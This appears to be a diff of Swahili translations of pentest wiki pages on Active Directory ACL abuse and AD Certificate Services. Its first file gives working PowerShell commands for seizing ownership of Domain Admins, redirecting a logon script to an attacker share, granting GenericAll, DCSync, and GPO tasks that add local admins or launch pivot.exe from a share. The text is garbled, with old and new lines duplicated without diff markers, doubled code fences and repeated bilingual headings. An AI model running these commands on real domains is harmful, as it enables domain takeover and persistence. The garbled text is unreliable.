Ikiwa mshambuliaji atagundua kuwa ana haki za `WriteOwner` juu ya kundi, anaweza kubadilisha umiliki wa kundi hilo kuwa wake. Hii ina athari kubwa hasa wakati kundi lililo katika swali ni `Domain Admins`, kwani kubadilisha umiliki kunaruhusu udhibiti mpana juu ya sifa za kundi na uanachama. Mchakato unahusisha kubaini kitu sahihi kupitia `Get-ObjectAcl` na kisha kutumia `Set-DomainObjectOwner` kubadilisha mmiliki, ama kwa SID au jina.
```powershell
```bash
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
@ -81,13 +81,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
## **GenericWrite kwenye Mtumiaji**
Ruhusa hii inamruhusu mshambuliaji kubadilisha mali za mtumiaji. Kwa hakika, kwa ufikiaji wa `GenericWrite`, mshambuliaji anaweza kubadilisha njia ya skripti ya kuingia ya mtumiaji ili kutekeleza skripti mbaya wakati wa kuingia kwa mtumiaji. Hii inafikiwa kwa kutumia amri ya `Set-ADObject` kuboresha mali ya `scriptpath` ya mtumiaji anaye target ili kuelekeza kwenye skripti ya mshambuliaji.
```powershell
```bash
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
```
## **GenericWrite kwenye Kundi**
## **GenericWrite on Group**
Kwa ruhusa hii, washambuliaji wanaweza kubadilisha uanachama wa kundi, kama kuongeza wenyewe au watumiaji wengine kwenye makundi maalum. Mchakato huu unahusisha kuunda kitu cha akidi, kukitumia kuongeza au kuondoa watumiaji kutoka kundi, na kuthibitisha mabadiliko ya uanachama kwa amri za PowerShell.
```powershell
Kwa ruhusa hii, washambuliaji wanaweza kubadilisha uanachama wa kikundi, kama kuongeza wenyewe au watumiaji wengine kwenye vikundi maalum. Mchakato huu unahusisha kuunda kitu cha akidi, kukitumia kuongeza au kuondoa watumiaji kutoka kwenye kikundi, na kuthibitisha mabadiliko ya uanachama kwa kutumia amri za PowerShell.
```bash
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose
@ -97,7 +97,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use
## **WriteDACL + WriteOwner**
Kuwa na kitu cha AD na kuwa na ruhusa za `WriteDACL` juu yake inamuwezesha mshambuliaji kujipatia ruhusa za `GenericAll` juu ya kitu hicho. Hii inafanywa kupitia udanganyifu wa ADSI, ikiruhusu udhibiti kamili juu ya kitu hicho na uwezo wa kubadilisha uanachama wake wa kikundi. Licha ya hili, kuna mipaka wakati wa kujaribu kutumia ruhusa hizi kwa kutumia cmdlets za moduli ya Active Directory `Set-Acl` / `Get-Acl`.
```powershell
```bash
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
@ -106,7 +106,7 @@ $ADSI.psbase.commitchanges()
```
## **Replication on the Domain (DCSync)**
Shambulio la DCSync linatumia ruhusa maalum za kuiga kwenye eneo ili kuiga Kituo cha Kikoa na kusawazisha data, ikiwa ni pamoja na akidi za watumiaji. Mbinu hii yenye nguvu inahitaji ruhusa kama `DS-Replication-Get-Changes`, ikiruhusu washambuliaji kutoa taarifa nyeti kutoka kwenye mazingira ya AD bila ufikiaji wa moja kwa moja kwa Kituo cha Kikoa. [**Jifunze zaidi kuhusu shambulio la DCSync hapa.**](../dcsync.md)
Shambulio la DCSync linatumia ruhusa maalum za kuiga kwenye kikoa ili kuiga Kituo cha Kikoa na kusawazisha data, ikiwa ni pamoja na akidi za watumiaji. Mbinu hii yenye nguvu inahitaji ruhusa kama `DS-Replication-Get-Changes`, ikiruhusu washambuliaji kutoa taarifa nyeti kutoka kwenye mazingira ya AD bila kupata moja kwa moja kwenye Kituo cha Kikoa. [**Jifunze zaidi kuhusu shambulio la DCSync hapa.**](../dcsync.md)
## GPO Delegation <a href="#gpo-delegation" id="gpo-delegation"></a>
@ -127,13 +127,13 @@ Ili kubaini GPO zilizo na mipangilio isiyo sahihi, cmdlets za PowerSploit zinawe
### Abuse GPO - New-GPOImmediateTask
GPO zilizo na mipangilio isiyo sahihi zinaweza kutumika vibaya kutekeleza msimbo, kwa mfano, kwa kuunda kazi ya ratiba ya papo hapo. Hii inaweza kufanywa kuongeza mtumiaji kwenye kundi la wasimamizi wa ndani kwenye mashine zilizoathiriwa, ikiongeza sana ruhusa:
```powershell
```bash
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
```
### GroupPolicy module - Abuse GPO
Moduli ya GroupPolicy, ikiwa imewekwa, inaruhusu uundaji na kuunganisha GPO mpya, na kuweka mapendeleo kama vile thamani za rejista kutekeleza backdoors kwenye kompyuta zilizoathirika. Njia hii inahitaji GPO kusasishwa na mtumiaji kuingia kwenye kompyuta kwa ajili ya utekelezaji:
```powershell
Moduli ya GroupPolicy, ikiwa imewekwa, inaruhusu uundaji na kuunganisha GPO mpya, na kuweka mapendeleo kama vile thamani za rejista ili kutekeleza backdoors kwenye kompyuta zilizoathirika. Njia hii inahitaji GPO kusasishwa na mtumiaji kuingia kwenye kompyuta kwa ajili ya utekelezaji:
```bash
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
```
@ -143,25 +143,25 @@ SharpGPOAbuse inatoa njia ya kutumia GPO zilizopo kwa kuongeza kazi au kubadilis
```bash
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
```
### Force Policy Update
### Kulazimisha Sasisho la Sera
GPO updates kawaida hufanyika kila dakika 90. Ili kuharakisha mchakato huu, hasa baada ya kutekeleza mabadiliko, amri ya `gpupdate /force` inaweza kutumika kwenye kompyuta lengwa ili kulazimisha sasisho la sera mara moja. Amri hii inahakikisha kwamba mabadiliko yoyote kwenye GPOs yanatumika bila kusubiri mzunguko wa sasisho la moja kwa moja unaofuata.
Sasisho la GPO kawaida hufanyika kila dakika 90. Ili kuharakisha mchakato huu, hasa baada ya kutekeleza mabadiliko, amri ya `gpupdate /force` inaweza kutumika kwenye kompyuta lengwa kulazimisha sasisho la sera mara moja. Amri hii inahakikisha kwamba mabadiliko yoyote kwenye GPO yanatumika bila kusubiri mzunguko wa sasisho la kiotomatiki unaofuata.
### Under the Hood
### Chini ya Mfuniko
Wakati wa ukaguzi wa Kazi za Ratiba kwa GPO fulani, kama vile `Misconfigured Policy`, kuongeza kazi kama `evilTask` kunaweza kuthibitishwa. Kazi hizi zinaundwa kupitia skripti au zana za amri zikiwa na lengo la kubadilisha tabia ya mfumo au kuongeza mamlaka.
Wakati wa ukaguzi wa Kazi za Ratiba kwa GPO fulani, kama vile `Misconfigured Policy`, kuongeza kazi kama `evilTask` kunaweza kuthibitishwa. Kazi hizi zinaandaliwa kupitia skripti au zana za amri zikiwa na lengo la kubadilisha tabia ya mfumo au kuongeza mamlaka.
Muundo wa kazi, kama inavyoonyeshwa katika faili ya usanifu wa XML iliyozalishwa na `New-GPOImmediateTask`, inaelezea maelezo ya kazi iliyopangwa - ikiwa ni pamoja na amri itakayotekelezwa na vichocheo vyake. Faili hii inawakilisha jinsi kazi zilizopangwa zinavyofafanuliwa na kusimamiwa ndani ya GPOs, ikitoa njia ya kutekeleza amri au skripti za kiholela kama sehemu ya utekelezaji wa sera.
Muundo wa kazi, kama inavyoonyeshwa katika faili ya usanifu wa XML iliyozalishwa na `New-GPOImmediateTask`, inaelezea maelezo ya kazi iliyopangwa - ikiwa ni pamoja na amri itakayotekelezwa na vichocheo vyake. Faili hii inawakilisha jinsi kazi zilizopangwa zinavyofafanuliwa na kusimamiwa ndani ya GPOs, ikitoa njia ya kutekeleza amri au skripti zisizo na mipaka kama sehemu ya utekelezaji wa sera.
### Users and Groups
### Watumiaji na Makundi
GPOs pia zinaruhusu kubadilisha uanachama wa watumiaji na vikundi kwenye mifumo lengwa. Kwa kuhariri faili za sera za Watumiaji na Vikundi moja kwa moja, washambuliaji wanaweza kuongeza watumiaji kwenye vikundi vyenye mamlaka, kama vile kundi la `administrators` la ndani. Hii inawezekana kupitia ugawaji wa ruhusa za usimamizi wa GPO, ambayo inaruhusu kubadilisha faili za sera ili kujumuisha watumiaji wapya au kubadilisha uanachama wa vikundi.
GPOs pia huruhusu upotoshaji wa uanachama wa watumiaji na makundi kwenye mifumo lengwa. Kwa kuhariri faili za sera za Watumiaji na Makundi moja kwa moja, washambuliaji wanaweza kuongeza watumiaji kwenye makundi yenye mamlaka, kama vile kundi la `administrators` la ndani. Hii inawezekana kupitia ugawaji wa ruhusa za usimamizi wa GPO, ambayo inaruhusu mabadiliko ya faili za sera ili kujumuisha watumiaji wapya au kubadilisha uanachama wa makundi.
Faili ya usanifu wa XML kwa Watumiaji na Vikundi inaelezea jinsi mabadiliko haya yanavyotekelezwa. Kwa kuongeza entries kwenye faili hii, watumiaji maalum wanaweza kupewa mamlaka ya juu kwenye mifumo iliyoathiriwa. Njia hii inatoa njia ya moja kwa moja ya kuongeza mamlaka kupitia kubadilisha GPO.
Faili ya usanifu wa XML kwa Watumiaji na Makundi inaelezea jinsi mabadiliko haya yanavyotekelezwa. Kwa kuongeza entries kwenye faili hii, watumiaji maalum wanaweza kupewa mamlaka ya juu kwenye mifumo iliyoathiriwa. Njia hii inatoa mbinu ya moja kwa moja ya kuongeza mamlaka kupitia upotoshaji wa GPO.
Zaidi ya hayo, mbinu za ziada za kutekeleza msimbo au kudumisha kudumu, kama vile kutumia skripti za kuingia/kuondoka, kubadilisha funguo za rejista kwa ajili ya kuanzisha kiotomatiki, kufunga programu kupitia faili za .msi, au kuhariri usanifu wa huduma, zinaweza pia kuzingatiwa. Mbinu hizi zinatoa njia mbalimbali za kudumisha ufikiaji na kudhibiti mifumo lengwa kupitia matumizi mabaya ya GPOs.
## References
## Marejeleo
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces)
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)

View File

@ -8,52 +8,52 @@
- **Mada** ya cheti inaonyesha mmiliki wake.
- **Funguo za Umma** zimeunganishwa na funguo za kibinafsi ili kuunganisha cheti na mmiliki wake halali.
- **Muda wa Uhalali**, ulioainishwa na tarehe za **NotBefore** na **NotAfter**, unaashiria muda wa ufanisi wa cheti.
- **Muda wa Uhalali**, unaofafanuliwa na tarehe za **NotBefore** na **NotAfter**, inaashiria muda wa ufanisi wa cheti.
- Nambari ya **Serial** ya kipekee, inayotolewa na Mamlaka ya Cheti (CA), inatambulisha kila cheti.
- **Mtoaji** inahusisha CA ambayo imetoa cheti.
- **SubjectAlternativeName** inaruhusu majina ya ziada kwa mada, ikiongeza kubadilika kwa utambulisho.
- **Misingi ya Msingi** inatambua ikiwa cheti ni kwa CA au kitengo cha mwisho na inaweka vikwazo vya matumizi.
- **Matumizi ya Funguo Yaliyoongezwa (EKUs)** yanabainisha madhumuni maalum ya cheti, kama vile kusaini msimbo au usimbaji wa barua pepe, kupitia Vitambulisho vya Kitu (OIDs).
- **SubjectAlternativeName** inaruhusu majina ya ziada kwa mada, ikiongeza kubadilika kwa utambuzi.
- **Misingi ya Msingi** inatambua ikiwa cheti ni kwa CA au kitengo cha mwisho na kufafanua vizuizi vya matumizi.
- **Matumizi ya Funguo ya Kupanuliwa (EKUs)** yanatofautisha madhumuni maalum ya cheti, kama vile kusaini msimbo au usimbaji wa barua pepe, kupitia Vitambulisho vya Kitu (OIDs).
- **Algorithimu ya Sahihi** inaelezea njia ya kusaini cheti.
- **Sahihi**, iliyoundwa kwa funguo ya kibinafsi ya mtoaji, inahakikisha uhalali wa cheti.
### Special Considerations
- **Majina Alternatif ya Mada (SANs)** yanapanua matumizi ya cheti kwa vitambulisho vingi, muhimu kwa seva zenye maeneo mengi. Mchakato wa usambazaji salama ni muhimu ili kuepuka hatari za kujifanya kwa washambuliaji wanaoshughulikia spesifikesheni ya SAN.
- **Majina Alternatif ya Mada (SANs)** yanapanua matumizi ya cheti kwa vitambulisho vingi, muhimu kwa seva zenye maeneo mengi. Mchakato wa usambazaji salama ni muhimu ili kuepuka hatari za kujifanya kwa washambuliaji wanaoshughulikia spesifikas za SAN.
### Certificate Authorities (CAs) in Active Directory (AD)
AD CS inatambua cheti za CA katika msitu wa AD kupitia vyombo vilivyotengwa, kila kimoja kikihudumu majukumu ya kipekee:
- **Mamlaka za Cheti** chombo kinashikilia cheti za CA za mizizi zinazotegemewa.
- **Mamlaka za Cheti** chombo kinashikilia cheti za CA za msingi zinazotambulika.
- **Huduma za Usajili** chombo kinaelezea CA za Biashara na templeti zao za cheti.
- **NTAuthCertificates** kitu kinajumuisha cheti za CA zilizoidhinishwa kwa uthibitishaji wa AD.
- **AIA (Upatikanaji wa Taarifa za Mamlaka)** chombo kinasaidia uthibitishaji wa mnyororo wa cheti na cheti za CA za kati na za msalaba.
### Certificate Acquisition: Client Certificate Request Flow
1. Mchakato wa ombi huanza na wateja wakitafuta CA ya Biashara.
1. Mchakato wa ombi huanza na wateja kutafuta CA ya Biashara.
2. CSR inaundwa, ikiwa na funguo ya umma na maelezo mengine, baada ya kuunda jozi ya funguo ya umma na ya kibinafsi.
3. CA inakagua CSR dhidi ya templeti za cheti zilizopo, ikitoa cheti kulingana na ruhusa za templeti.
4. Baada ya idhini, CA inasaini cheti kwa funguo yake ya kibinafsi na kuirudisha kwa mteja.
### Certificate Templates
Zimeainishwa ndani ya AD, templeti hizi zinaelezea mipangilio na ruhusa za kutoa cheti, ikiwa ni pamoja na EKUs zinazoruhusiwa na haki za usajili au mabadiliko, muhimu kwa usimamizi wa ufikiaji wa huduma za cheti.
Zimefafanuliwa ndani ya AD, templeti hizi zinaelezea mipangilio na ruhusa za kutoa cheti, ikiwa ni pamoja na EKUs zinazoruhusiwa na haki za usajili au mabadiliko, muhimu kwa usimamizi wa ufikiaji wa huduma za cheti.
## Certificate Enrollment
Mchakato wa usajili wa cheti huanzishwa na msimamizi ambaye **anaunda templeti ya cheti**, ambayo kisha **inasambazwa** na Mamlaka ya Cheti ya Biashara (CA). Hii inafanya templeti ipatikane kwa usajili wa mteja, hatua inayofikiwa kwa kuongeza jina la templeti kwenye uwanja wa `certificatetemplates` wa kitu cha Active Directory.
Mchakato wa usajili wa cheti unanzishwa na msimamizi ambaye **anaunda templeti ya cheti**, ambayo kisha **inasambazwa** na Mamlaka ya Cheti ya Biashara (CA). Hii inafanya templeti ipatikane kwa usajili wa mteja, hatua inayofikiwa kwa kuongeza jina la templeti kwenye uwanja wa `certificatetemplates` wa kitu cha Active Directory.
Ili mteja aombe cheti, **haki za usajili** lazima zipewe. Haki hizi zinaainishwa na waelekezi wa usalama kwenye templeti ya cheti na CA ya Biashara yenyewe. Ruhusa lazima zipewe katika maeneo yote mawili ili ombi liwe na mafanikio.
Ili mteja aombe cheti, **haki za usajili** lazima zipewe. Haki hizi zinafafanuliwa na waelekezi wa usalama kwenye templeti ya cheti na CA ya Biashara yenyewe. Ruhusa lazima zipewe katika maeneo yote mawili ili ombi liwe na mafanikio.
### Template Enrollment Rights
Haki hizi zinaelezwa kupitia Kuingilia kwa Udhibiti wa Ufikiaji (ACEs), zikielezea ruhusa kama:
Haki hizi zinaelezwa kupitia Kuingilia kwa Udhibiti wa Ufikiaji (ACEs), zikifafanua ruhusa kama:
- Haki za **Usajili wa Cheti** na **AutoEnrollment ya Cheti**, kila moja ikihusishwa na GUID maalum.
- Haki za **Usajili wa Cheti** na **Usajili wa Cheti wa Otomatiki**, kila moja ikihusishwa na GUID maalum.
- **Haki za Kupanuliwa**, zikiruhusu ruhusa zote za ziada.
- **FullControl/GenericAll**, ikitoa udhibiti kamili juu ya templeti.
- **Udhibiti Kamili/GenericAll**, ukitoa udhibiti kamili juu ya templeti.
### Enterprise CA Enrollment Rights
@ -61,10 +61,10 @@ Haki za CA zinaelezwa katika waelekezi wake wa usalama, zinazopatikana kupitia c
### Additional Issuance Controls
Vikaguzi fulani vinaweza kutumika, kama:
Madhara fulani yanaweza kutumika, kama:
- **Idhini ya Meneja**: Inaweka maombi katika hali ya kusubiri hadi idhini itolewe na meneja wa cheti.
- **Wakala wa Usajili na Sahihi Zilizothibitishwa**: Inaelezea idadi ya sahihi zinazohitajika kwenye CSR na OIDs zinazohitajika za Sera ya Maombi.
- **Wakala wa Usajili na Sahihi Zilizothibitishwa**: Zinaelezea idadi ya sahihi zinazohitajika kwenye CSR na OIDs za Sera ya Maombi zinazohitajika.
### Methods to Request Certificates
@ -72,34 +72,34 @@ Cheti zinaweza kuombwa kupitia:
1. **Protokali ya Usajili wa Cheti ya Mteja wa Windows** (MS-WCCE), ikitumia interfaces za DCOM.
2. **Protokali ya ICertPassage Remote** (MS-ICPR), kupitia mabomba yaliyopewa majina au TCP/IP.
3. Kiolesura cha wavuti cha **usajili wa cheti**, na jukumu la Usajili wa Mamlaka ya Cheti lililosakinishwa.
3. Kiolesura cha wavuti cha **usajili wa cheti**, na jukumu la Usajili wa Wavuti wa Mamlaka ya Cheti lililosakinishwa.
4. **Huduma ya Usajili wa Cheti** (CES), kwa kushirikiana na huduma ya Sera ya Usajili wa Cheti (CEP).
5. **Huduma ya Usajili wa Vifaa vya Mtandao** (NDES) kwa vifaa vya mtandao, ikitumia Protokali ya Usajili wa Cheti Rahisi (SCEP).
Watumiaji wa Windows wanaweza pia kuomba cheti kupitia GUI (`certmgr.msc` au `certlm.msc`) au zana za mistari ya amri (`certreq.exe` au amri ya `Get-Certificate` ya PowerShell).
```powershell
```bash
# Example of requesting a certificate using PowerShell
Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
```
## Uthibitisho wa Cheti
Active Directory (AD) inasaidia uthibitisho wa cheti, hasa ikitumia **Kerberos** na **Secure Channel (Schannel)** protokali.
Active Directory (AD) inasaidia uthibitisho wa cheti, ikitumia hasa **Kerberos** na **Secure Channel (Schannel)** protokali.
### Mchakato wa Uthibitisho wa Kerberos
Katika mchakato wa uthibitisho wa Kerberos, ombi la mtumiaji la Tiketi ya Kutoa Tiketi (TGT) linatiwa saini kwa kutumia **funguo ya faragha** ya cheti cha mtumiaji. Ombi hili hupitia uthibitisho kadhaa na msimamizi wa eneo, ikiwa ni pamoja na **uhalali** wa cheti, **njia**, na **hali ya kufutwa**. Uthibitisho pia unajumuisha kuangalia kwamba cheti kinatoka kwa chanzo kinachotegemewa na kuthibitisha uwepo wa mtoaji katika **duka la cheti la NTAUTH**. Uthibitisho uliofanikiwa unapelekea utoaji wa TGT. Kitu cha **`NTAuthCertificates`** katika AD, kinachopatikana kwenye:
Katika mchakato wa uthibitisho wa Kerberos, ombi la mtumiaji la Tiketi ya Kutoa Tiketi (TGT) linatiwa saini kwa kutumia **funguo ya faragha** ya cheti cha mtumiaji. Ombi hili hupitia uthibitisho kadhaa na msimamizi wa eneo, ikiwa ni pamoja na **halali** ya cheti, **njia**, na **hali ya kufutwa**. Uthibitisho pia unajumuisha kuangalia kwamba cheti kinatoka kwa chanzo kinachotegemewa na kuthibitisha uwepo wa mtoaji katika **duka la cheti la NTAUTH**. Uthibitisho uliofanikiwa unapelekea utoaji wa TGT. Kitu cha **`NTAuthCertificates`** katika AD, kinapatikana kwenye:
```bash
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
```
ni muhimu katika kuanzisha uaminifu kwa uthibitishaji wa cheti.
### Uthibitishaji wa Kituo Salama (Schannel)
### Uthibitishaji wa Kanal Salama (Schannel)
Schannel inarahisisha muunganisho salama wa TLS/SSL, ambapo wakati wa mkutano, mteja anawasilisha cheti ambacho, ikiwa kimefanikiwa kuthibitishwa, kinatoa ruhusa ya ufikiaji. Mchoro wa cheti kwa akaunti ya AD unaweza kujumuisha kazi ya Kerberos **S4U2Self** au **Subject Alternative Name (SAN)** ya cheti, miongoni mwa mbinu nyingine.
Schannel inarahisisha muunganisho salama wa TLS/SSL, ambapo wakati wa mkutano, mteja anawasilisha cheti ambacho, ikiwa kimefanikiwa kuthibitishwa, kinatoa ruhusa ya ufikiaji. Mchoro wa cheti kwa akaunti ya AD unaweza kujumuisha kazi ya Kerberos **S4U2Self** au **Jina Alternatif la Mhusika (SAN)** la cheti, kati ya mbinu nyingine.
### Uhesabu wa Huduma za Cheti za AD
### Uainishaji wa Huduma za Cheti za AD
Huduma za cheti za AD zinaweza kuhesabiwa kupitia maswali ya LDAP, zikifunua habari kuhusu **Mamlaka ya Cheti ya Biashara (CAs)** na mipangilio yao. Hii inapatikana kwa mtumiaji yeyote aliyeidhinishwa na kikoa bila ruhusa maalum. Zana kama **[Certify](https://github.com/GhostPack/Certify)** na **[Certipy](https://github.com/ly4k/Certipy)** zinatumika kwa uhesabu na tathmini ya udhaifu katika mazingira ya AD CS.
Huduma za cheti za AD zinaweza kuainishwa kupitia maswali ya LDAP, zikifunua habari kuhusu **Mamlaka za Cheti za Biashara (CAs)** na mipangilio yao. Hii inapatikana kwa mtumiaji yeyote aliyeidhinishwa na kikoa bila ruhusa maalum. Zana kama **[Certify](https://github.com/GhostPack/Certify)** na **[Certipy](https://github.com/ly4k/Certipy)** zinatumika kwa uainishaji na tathmini ya udhaifu katika mazingira ya AD CS.
Amri za kutumia zana hizi ni:
```bash

View File

@ -8,27 +8,27 @@
- **Mada** ya cheti inaonyesha mmiliki wake.
- **Funguo za Umma** zimeunganishwa na funguo za kibinafsi ili kuunganisha cheti na mmiliki wake halali.
- **Muda wa Uhalali**, unaofafanuliwa na tarehe za **NotBefore** na **NotAfter**, inaashiria muda wa ufanisi wa cheti.
- **Muda wa Uhalali**, ulioainishwa na tarehe za **NotBefore** na **NotAfter**, unaashiria muda wa ufanisi wa cheti.
- Nambari ya **Serial** ya kipekee, inayotolewa na Mamlaka ya Cheti (CA), inatambulisha kila cheti.
- **Mtoaji** inahusisha CA ambayo imetoa cheti.
- **Mtoaji** anarejelea CA ambayo imetoa cheti.
- **SubjectAlternativeName** inaruhusu majina ya ziada kwa mada, ikiongeza kubadilika kwa utambuzi.
- **Misingi ya Msingi** inatambua ikiwa cheti ni kwa CA au kitengo cha mwisho na kufafanua vizuizi vya matumizi.
- **Matumizi ya Funguo ya Kupanua (EKUs)** yanabainisha madhumuni maalum ya cheti, kama vile kusaini msimbo au usimbaji wa barua pepe, kupitia Vitambulisho vya Kitu (OIDs).
- **Misingi ya Msingi** inatambua ikiwa cheti ni kwa CA au entiti ya mwisho na kuainisha vizuizi vya matumizi.
- **Matumizi ya Funguo Yaliyoongezwa (EKUs)** yanaelezea madhumuni maalum ya cheti, kama vile kusaini msimbo au usimbaji wa barua pepe, kupitia Vitambulisho vya Kitu (OIDs).
- **Algorithimu ya Sahihi** inaelezea njia ya kusaini cheti.
- **Sahihi**, iliyoundwa kwa funguo ya kibinafsi ya mtoaji, inahakikisha uhalali wa cheti.
### Special Considerations
- **Majina Alternatif ya Mada (SANs)** yanapanua matumizi ya cheti kwa vitambulisho vingi, muhimu kwa seva zenye maeneo mengi. Mchakato wa usambazaji salama ni muhimu ili kuepuka hatari za kujifanya kwa washambuliaji wanaoshughulikia spesifikas za SAN.
- **Majina Alternatif ya Mada (SANs)** yanapanua matumizi ya cheti kwa vitambulisho vingi, muhimu kwa seva zenye maeneo mengi. Mchakato wa usalama wa utoaji ni muhimu ili kuepuka hatari za kujifanya kwa washambuliaji wanaoshughulikia spesifikas za SAN.
### Certificate Authorities (CAs) in Active Directory (AD)
AD CS inatambua cheti za CA katika msitu wa AD kupitia vyombo vilivyotengwa, kila kimoja kikihudumu majukumu ya kipekee:
- **Mamlaka ya Cheti** chombo kinashikilia cheti za CA za mizizi zinazotegemewa.
- **Mamlaka za Cheti** chombo kinashikilia cheti za CA za msingi zinazotambulika.
- **Huduma za Usajili** chombo kinaelezea CA za Biashara na templeti zao za cheti.
- **NTAuthCertificates** kitu kinajumuisha cheti za CA zilizoidhinishwa kwa uthibitishaji wa AD.
- **AIA (Maktaba ya Taarifa ya Mamlaka)** chombo kinasaidia uthibitishaji wa mnyororo wa cheti na cheti za CA za kati na za msalaba.
- **AIA (Upatikanaji wa Taarifa za Mamlaka)** chombo kinasaidia uthibitishaji wa mnyororo wa cheti na cheti za CA za kati na za msalaba.
### Certificate Acquisition: Client Certificate Request Flow
@ -39,20 +39,20 @@ AD CS inatambua cheti za CA katika msitu wa AD kupitia vyombo vilivyotengwa, kil
### Certificate Templates
Zimefafanuliwa ndani ya AD, templeti hizi zinaelezea mipangilio na ruhusa za kutoa cheti, ikiwa ni pamoja na EKUs zinazoruhusiwa na haki za usajili au mabadiliko, muhimu kwa usimamizi wa ufikiaji wa huduma za cheti.
Zimeainishwa ndani ya AD, templeti hizi zinaelezea mipangilio na ruhusa za kutoa cheti, ikiwa ni pamoja na EKUs zinazoruhusiwa na haki za usajili au mabadiliko, muhimu kwa usimamizi wa ufikiaji wa huduma za cheti.
## Certificate Enrollment
Mchakato wa usajili wa cheti huanzishwa na msimamizi ambaye **anaunda templeti ya cheti**, ambayo kisha **inasambazwa** na Mamlaka ya Cheti ya Biashara (CA). Hii inafanya templeti ipatikane kwa usajili wa mteja, hatua inayofikiwa kwa kuongeza jina la templeti kwenye uwanja wa `certificatetemplates` wa kitu cha Active Directory.
Ili mteja aombe cheti, **haki za usajili** lazima zipewe. Haki hizi zinafafanuliwa na waelekezi wa usalama kwenye templeti ya cheti na CA ya Biashara yenyewe. Ruhusa lazima zipewe katika maeneo yote mawili ili ombi liwe na mafanikio.
Ili mteja aombe cheti, **haki za usajili** lazima zipewe. Haki hizi zinaainishwa na waelekezi wa usalama kwenye templeti ya cheti na CA ya Biashara yenyewe. Ruhusa lazima zipewe katika maeneo yote mawili ili ombi liwe na mafanikio.
### Template Enrollment Rights
Haki hizi zinaelezwa kupitia Kuingilia kwa Udhibiti wa Ufikiaji (ACEs), zikifafanua ruhusa kama:
Haki hizi zinaainishwa kupitia Kuingilia kwa Udhibiti wa Ufikiaji (ACEs), zikielezea ruhusa kama:
- Haki za **Usajili wa Cheti** na **AutoEnrollment ya Cheti**, kila moja ikihusishwa na GUID maalum.
- **Haki za Kupanua**, zikiruhusu ruhusa zote za kupanua.
- **Haki za Kupanuliwa**, zikiruhusu ruhusa zote za ziada.
- **FullControl/GenericAll**, ikitoa udhibiti kamili juu ya templeti.
### Enterprise CA Enrollment Rights
@ -64,20 +64,20 @@ Haki za CA zinaelezwa katika waelekezi wake wa usalama, zinazopatikana kupitia c
Madhara fulani yanaweza kutumika, kama:
- **Idhini ya Meneja**: Inaweka maombi katika hali ya kusubiri hadi idhini itolewe na meneja wa cheti.
- **Wakala wa Usajili na Sahihi Zilizothibitishwa**: Zinaelezea idadi ya sahihi zinazohitajika kwenye CSR na OIDs za Sera ya Maombi zinazohitajika.
- **Wakala wa Usajili na Sahihi Zilizothibitishwa**: Kuainisha idadi ya sahihi zinazohitajika kwenye CSR na OIDs za Sera ya Maombi zinazohitajika.
### Methods to Request Certificates
Cheti zinaweza kuombwa kupitia:
1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), ikitumia interfaces za DCOM.
2. **ICertPassage Remote Protocol** (MS-ICPR), kupitia mabomba yaliyopewa majina au TCP/IP.
3. Kiolesura cha wavuti cha **usajili wa cheti**, na jukumu la Usajili wa Mamlaka ya Cheti lililosakinishwa.
1. **Protokali ya Usajili wa Cheti ya Mteja wa Windows** (MS-WCCE), ikitumia interfaces za DCOM.
2. **Protokali ya ICertPassage Remote** (MS-ICPR), kupitia mabomba yaliyopewa majina au TCP/IP.
3. Kiolesura cha wavuti cha **usajili wa cheti**, na jukumu la Utoaji wa Wavuti wa Mamlaka ya Cheti lililosakinishwa.
4. **Huduma ya Usajili wa Cheti** (CES), kwa kushirikiana na huduma ya Sera ya Usajili wa Cheti (CEP).
5. **Huduma ya Usajili wa Vifaa vya Mtandao** (NDES) kwa vifaa vya mtandao, ikitumia Protokali ya Usajili wa Cheti Rahisi (SCEP).
Watumiaji wa Windows wanaweza pia kuomba cheti kupitia GUI (`certmgr.msc` au `certlm.msc`) au zana za mstari wa amri (`certreq.exe` au amri ya PowerShell `Get-Certificate`).
```powershell
Watumiaji wa Windows wanaweza pia kuomba cheti kupitia GUI (`certmgr.msc` au `certlm.msc`) au zana za mistari ya amri (`certreq.exe` au amri ya PowerShell `Get-Certificate`).
```bash
# Example of requesting a certificate using PowerShell
Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
```
